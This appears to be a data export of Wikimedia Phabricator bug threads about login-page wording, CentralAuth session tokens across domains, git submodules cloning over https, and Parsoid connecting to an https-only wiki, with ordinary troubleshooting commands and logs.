+> create account should
+> say ""log out""
+
+Surely not, it's not what it does. ""Create another account"", the current label, is correct.",,,1386625379,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c2,3,True,,,14,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+267580,Accessing Special:UserLogin while logged in should have different appearance,"For core: Since the fix for bug 53306 a message exists, which say: ""You are already logged in as ***. Use the form below to log in as another user.""",,,1384640418,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+57978,Sessions don't work on non-loginwiki domains,"**Author:** `kudu`
+
+**Description:**
+Log showing incorrect behavior for a non-*.orain.org wiki
+
+Demo:
+1. Log in on any wiki on orain.org (e.g. meta.orain.org).
+2. Go to any page on a non-orain.org wiki (e.g. wikiconstituciocatalana.cat).
+
+I attached two logs, one showing normal behavior for an *.orain.org wiki and another showing incorrect behavior for a non-orain.org wiki.
+
+Here is the original GitHub issue: https://github.com/Orain/ansible-playbook/issues/61
+Here is our configuration (WIP): https://github.com/Orain/ansible-playbook/blob/master/roles/mediawiki/files/LocalSettings.php.j2
+We're running CentralAuth 1.22wmf22 (3756064).
+
+--------------------------
+**Version**: master
+**Severity**: major
+
+**Attached**: {F12201}",Medium,50.0,1382392320,1382563800.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_description,invalid,True,c2,3,False,False,True,7,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+264895,Sessions don't work on non-loginwiki domains,"So after a fair amount of detective work..
+A CA token needs to be set for each domain on login (as with the wikimedia sites.)
+
+Hence this fixed our problems https://github.com/Orain/ansible-playbook/commit/9e6336b059f42560e28104b6e04108007a3f86a5
+(later altered to be a more dynamic fix for the future)
+
+Previous to this a login on espiral would create a CA token for the orain.org domain.
+espiral could not use this so it would then attempt to get a new CA token and session for espiral which it would do again, but again the CA token would remain under the orain.org domain not espiral.",,,1382563800,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c2,3,False,,,8,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1
+264889,Sessions don't work on non-loginwiki domains,"http://espiral.org is also hosted in Orain. I have asked several users to login, and the feedback is the same: they can login (even after resetting password etc) but they end up being pushed back as anonymous users again. The session won't stick.
+
+What is weird is that I'm visiting and editing espiral.org as an identified user regularly. My session does stick, even after reboots or changing from a laptop to another.
+
+But then I have the same problems than the rest when logging to http://wikiconstituciocatalana.cat - which is double weird.
+
+fwiw I'm admin in both wikis. One difference is that I was already a user at espiral.org before it got imported to Orain, while Wikiconstitució was created from scratch as an Orain wiki. However, other Spiral users registered before the move are also finding login problems...",,,1382461178,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c2,3,False,,,7,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+264884,Sessions don't work on non-loginwiki domains,"**kudu** wrote:
+
+Log showing expected behavior on an *.orain.org wiki
+
+**Attached**: {F12203}",,,1382392452,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+57654,Recursive clone over ssh uses https for submodules,"```lang=bash
+<~/pywikibot>git clone --recursive ssh://multichill@gerrit.wikimedia.org:29418/pywikibot/core.git
+Cloning into 'core'...
+Warning: Permanently added the RSA host key for IP address '[208.80.154.81]:29418' to the list of known hosts.
+Enter passphrase for key 'key':
+remote: Counting objects: 10842, done
+remote: Finding sources: 100% (10842/10842)
+remote: Getting sizes: 100% (1495/1495)
+remote: Compressing objects: 100% (2292733/2292733)
+remote: Total 10842 (delta 7190), reused 10548 (delta 7165)
+Receiving objects: 100% (10842/10842), 23.42 MiB | 326 KiB/s, done.
+Resolving deltas: 100% (7337/7337), done.
+Submodule 'externals/httplib2' (https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git) registered for path 'externals/httplib2'
+Submodule 'i18n' (https://gerrit.wikimedia.org/r/p/pywikibot/i18n.git) registered for path 'scripts/i18n'
+Cloning into 'externals/httplib2'...
+error: SSL certificate problem: self signed certificate in certificate chain while accessing https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git/info/refs?service=git-upload-pack
+fatal: HTTP request failed
+Clone of 'https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git' into submodule path 'externals/httplib2' failed
+```
+I'm cloning over ssh. Why are the submodules being loaded over https?
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal",Medium,50.0,1381579260,1596795972.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_description,declined,True,c2,3,False,False,False,6,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+1506759,Recursive clone over ssh uses https for submodules,"Nothing stalled in this task as questoin has been answered, hence setting status to open",,,1589885026,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,350,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+1068377,Recursive clone over ssh uses https for submodules,"The solution is doing relative submodule paths (eg: `../foo`). Otherwise, of course, it will load the submodule from the protocol specific (git doesn't know better...this isn't a Gerrit issue really).
+
+(nb: git:// is a non-option. It won't do what you're hoping here, and we don't have it enabled anyway)
+
+Tbh though, HTTPS > SSH anyway :)",,,1526375438,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,245,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+1066744,Recursive clone over ssh uses https for submodules,"That is expected as you carnt use ssh in there since only you would be able to clone it.
+
+",,,1526031973,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,False,,,245,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+1066702,Recursive clone over ssh uses https for submodules,"I cloned Pywikibot using $ git clone --recursive ssh://multichill@gerrit.wikimedia.org:29418/pywikibot/core.git pywikibot 
+
+:~/pywikibot$ cat .gitmodules 
+[submodule ""i18n""]
+	path = scripts/i18n
+	url = https://gerrit.wikimedia.org/r/pywikibot/i18n
+	branch = master
+	ignore = all
+
+So yes, still an issue",,,1526027634,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,False,,,245,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,1,0,1,0,0,1
+1066672,Recursive clone over ssh uses https for submodules,"Is this still valid with pwb3? I haven't this problem:
+
+
+```lang=batch
+git.exe clone --progress --recursive -v ""ssh://xqt@gerrit.wikimedia.org:29418/pywikibot/core"" ""C:\pwb\git\core-test""
+
+Cloning into 'C:\pwb\git\core-test'...
+remote: Counting objects: 870, done
+remote: Finding sources: 100% (96/96)
+Receiving objects: 100% (46206/46206), 27.12 MiB | 237.00 KiB/s, done.
+Resolving deltas: 100% (35848/35848), done.
+remote: Getting sizes: 100% (51/51)
+remote: Compressing objects: 100% (463858/463858)
+remote: Total 46206 (delta 46), reused 46153 (delta 19)
+Checking connectivity... done.
+Submodule 'i18n' (https://gerrit.wikimedia.org/r/pywikibot/i18n) registered for path 'scripts/i18n'
+Cloning into 'scripts/i18n'...
+Submodule path 'scripts/i18n': checked out '5a4de72f67c4f13f290be2484b16c5e3f9a31c49'
+
+Success (216061 ms @ 11.05.2018 07:48:45)
+```",,,1526018161,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,245,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1
+500711,Recursive clone over ssh uses https for submodules,">>! In T57654#1343308, @jayvdb wrote:
+> After doing a bit more reading, I am pretty confident that [[https://makingsoftware.wordpress.com/2013/02/16/using-git-subtrees-for-repository-separation/| git subtree]] will solve this.  Now need to check what happens when switching from submodules to subtrees does to svn checkouts.
+
+I tried this with scripts/i18n, and fnfortunately TortoiseSVN doesnt appear to handle the external switching to be a normal directory in the repository.  it complains there is a conflict, and then doesnt update scripts/i18n to use the files now located in the repository.",,,1438435837,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,100,True,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1
+470272,Recursive clone over ssh uses https for submodules,"After doing a bit more reading, I am pretty confident that [[https://makingsoftware.wordpress.com/2013/02/16/using-git-subtrees-for-repository-separation/| git subtree]] will solve this.  Now need to check what happens when switching from submodules to subtrees does to svn checkouts.",,,1433597372,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,92,True,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+469615,Recursive clone over ssh uses https for submodules,"Im not sure, but this might be solvable with git subtree instead of git submodule.",,,1433472380,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,92,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+271561,Recursive clone over ssh uses https for submodules,"While it cloned the submodules over https, the clone recursive worked for me, so I have updated the bug summary to reflect this.
+
+The ""error: SSL certificate problem: self signed certificate in certificate chain while accessing ..."" doesnt appear in my output, so something has radically changed since October 2013, which is probably masking this bug.  Either the certificate has been changed, or this problem only existed in an earlier git version.
+
+$ git clone --recursive ssh://jayvdb@gerrit.wikimedia.org:29418/pywikibot/core.git
+Cloning into 'core'...
+remote: Counting objects: 2792, done
+remote: Finding sources: 100% (2373/2373)
+remote: Getting sizes: 100% (710/710)
+remote: Compressing objects: 100% (5777484/5777484)
+remote: Total 16923 (delta 1184), reused 16381 (delta 1136)
+Receiving objects: 100% (16923/16923), 27.47 MiB | 1.12 MiB/s, done.
+Resolving deltas: 100% (11100/11100), done.
+Checking connectivity... done.
+Submodule 'externals/httplib2' (https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git) registered for path 'externals/httplib2'
+Submodule 'i18n' (https://gerrit.wikimedia.org/r/p/pywikibot/i18n.git) registered for path 'scripts/i18n'
+Cloning into 'externals/httplib2'...
+remote: Counting objects: 1035, done
+remote: Finding sources: 100% (202/202)
+remote: Getting sizes: 100% (29/29)
+remote: Compressing objects: 100% (306895/306895)
+remote: Total 1902 (delta 34), reused 1887 (delta 32)
+Receiving objects: 100% (1902/1902), 3.88 MiB | 233.00 KiB/s, done.
+Resolving deltas: 100% (946/946), done.
+Checking connectivity... done.
+Submodule path 'externals/httplib2': checked out '5dc145682eb726bd54eaf7e9f940844ca234db71'
+Cloning into 'scripts/i18n'...
+remote: Counting objects: 192, done
+remote: Finding sources: 100% (171/171)
+remote: Getting sizes: 100% (52/52)
+remote: Compressing objects: 100% (1291342/1291342)
+remote: Total 2802 (delta 113), reused 2759 (delta 110)
+Receiving objects: 100% (2802/2802), 12.82 MiB | 664.00 KiB/s, done.
+Resolving deltas: 100% (2216/2216), done.
+Checking connectivity... done.
+Submodule path 'scripts/i18n': checked out 'ab431d98501bc229c933ee931ce0d7f2c1e2d46c'",,,1406247361,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,47,True,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+271554,Recursive clone over ssh uses https for submodules,"Basically, there are two options:
+1) an absolute externals path, which always overrules the initial clone url -- this can be a problem for people who cannot clone over https.
+2) a relative externals path, which breaks for people cloning from e.g. github, where the urls are not /pywikibot/externals/httplib2 but pywikibot-externals-httplib2
+
+Would it help if we switch to git:// instead of https://?",,,1381580507,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+57425,Add Help:Logging_in to loginwiki,"Add the login help page, so the login form doesn't have a redlink
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1381166760,1512836797.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-wso2tqfh6bhum3gedy7u,task_description,resolved,True,c2,3,True,False,False,5,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+979162,Add Help:Logging_in to loginwiki,"https://login.wikimedia.org/w/index.php?title=Special:UserLogin links to ""Help with logging in"" at https://www.mediawiki.org/wiki/Special:MyLanguage/Help:Logging_in
+
+Not sure how and when that got fixed, but closing task as resolved.",,,1512836797,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c2,3,True,,,223,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+257844,Add Help:Logging_in to loginwiki,"I think so, except link the other help pages in the ""Why log in?"" section to either mw.o or meta, so we don't have to keep creating more and more Help pages.",,,1381246047,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c2,3,True,,,5,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0
+257837,Add Help:Logging_in to loginwiki,Do we just want https://www.mediawiki.org/wiki/Help:Logging_in importing?,,,1381244239,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c2,3,True,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0
+57369,Parsoid cannot connect to https-only host?,"Hi
+When I run parsoid linked to a wiki which is https only, it doesn't work. This can be reproduced in any installation.
+
+I set port 80 to be a redirect to port 443, and the parsoid URL is https://wiki.name/api.php in localsettings.js
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1381073520,1428267398.0,PHID-USER-vj2bbc63joi46qr5a5nq,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-xya74ryevlevdpyqmth6,task_description,resolved,True,c2,3,False,False,False,5,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+438683,Parsoid cannot connect to https-only host?,"Shall we close this? I know that VE functions happily on wikitech.wikimedia.org now, which always uses HTTPS.",,,1428265426,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,True,,,83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+277835,Parsoid cannot connect to https-only host?,"I wanted to update this bug with my findings. I now have 1.23wmf7 and the latest builds of Parsoid and VisualEditor working happily with SSL as the default (and forced) connection method for users.
+
+In my LocalSettings.php I have the following:
+
+//Hook it up to Parsoid
+$wgVisualEditorParsoidURL = 'http://my.site.com:8000';
+ 
+$wgVisualEditorParsoidPrefix = 'localhost';
+
+
+In localsettings.js I have:
+
+parsoidConfig.setInterwiki('localhost' , 'http://my.site.com:81/w/api.php');
+
+You can see that we're directing traffic over port 81 to allow Parsoid access.
+
+The issue I was experiencing related to saving a page was due to having an older version (pre 1.9) of Semantic MediaWiki installed with 1.23.",,,1388082421,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1
+277829,Parsoid cannot connect to https-only host?,"I've followed the troubleshooting guide and I'm still having issues connecting to a https-only host.
+
+From the server I can run the following with success:
+
+curl http://my.site.com:81/w/api.php
+
+I opened port 81 to allow for http access to the api endpoint.
+
+However I cannot seem to connect to Parsoid, the app in question. 
+
+curl http://my.site.com:8000 returns the human-readable landing page for the Parsoid web service.
+
+curl http://my.site.com:8000/localhost/Introduction
+
+returns no message via the command line.
+
+I can start Parsoid via node server.js
+
+I can launch VisualEditor and edit a page normally, everything works.
+
+server.js spits out the following:
+
+starting parsing of localhost:Introduction
+completed parsing of localhost:Introduction in 1660 ms
+
+As soon as I go to save an edit, a small note appears under the Summary box.
+
+Error: Unknown error.
+
+server.js reports nothing
+
+
+While Parsoid is running (node server.js) and I attempt the following
+
+curl http://my.site.com:8000/localhost/Introduction
+
+I see the message:
+
+starting parsing of localhost:Introduction
+redirected localhost:Introduction to revision 62067",,,1387213772,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,15,True,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+277820,Parsoid cannot connect to https-only host?,"I know it works, it's a workaround. I am hosting the site in a CentOS server, but despite the research I have done some time ago I couldn't install the certificate in the system root, so neither PHP and node.js see the certificate. 
+
+I will try again now. Is there any documentation you know about this? (sorry if it's off-topic)",,,1386278143,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+277811,Parsoid cannot connect to https-only host?,"(In reply to comment #8)
+> I am sorry, I can't pay for a real certificate. Is there a way to add my root
+> certificate to Parsoid? Does it use the system certificates?
+> 
+> Or as a workaround, is there a way to permit self-signed authorities?
+
+Your wiki actually works by setting the API URL to http://wiki.mc128k.info/api.php.
+
+Nodejs uses openssl, so I'm guessing that you can install additional CA certs in /etc/ssl/certs/ (assuming you are using Debian).",,,1386277852,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+277803,Parsoid cannot connect to https-only host?,"I am sorry, I can't pay for a real certificate. Is there a way to add my root certificate to Parsoid? Does it use the system certificates?
+
+Or as a workaround, is there a way to permit self-signed authorities?
+
+Thanks.",,,1386273347,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+277794,Parsoid cannot connect to https-only host?,"Parsoid is only using HTTP, so trying to connect to it via HTTPS is going to fail. It can connect to MediaWiki using HTTPS though when configured to do so in localsetting.js. Please check the steps in https://www.mediawiki.org/wiki/Parsoid/Troubleshooting to make sure Parsoid is working.
+
+> https://wiki.mc128k.info
+
+Your SSL cert does not seem to be signed by a trusted CA, which likely explains your issue. Try with a signed SSL cert.",,,1386270337,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+277787,Parsoid cannot connect to https-only host?,"Addition:
+Changing $wgVisualEditorParsoidURL to 'https://my.wiki.com:8000'; results in a different error.
+
+Error loading data from server: parsoidserver-http-curl-error: SSL connect error. Would you like to retry?
+
+
+Headers below:
+
+Start request POST /w/api.php
+HTTP HEADERS:
+HOST: my.wiki.com
+CONNECTION: keep-alive
+CONTENT-LENGTH: 60
+AUTHORIZATION: Basic bWVtY2FjadGU6cGFzc3dvcmQ=
+ACCEPT: application/json, text/javascript, */*; q=0.01
+ORIGIN: https://my.wiki.com
+X-REQUESTED-WITH: XMLHttpRequest
+USER-AGENT: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36
+CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
+REFERER: https://my.wiki.com/w/index.php?title=Main_Page&veaction=edit
+ACCEPT-ENCODING: gzip,deflate,sdch
+ACCEPT-LANGUAGE: en-US,en;q=0.8
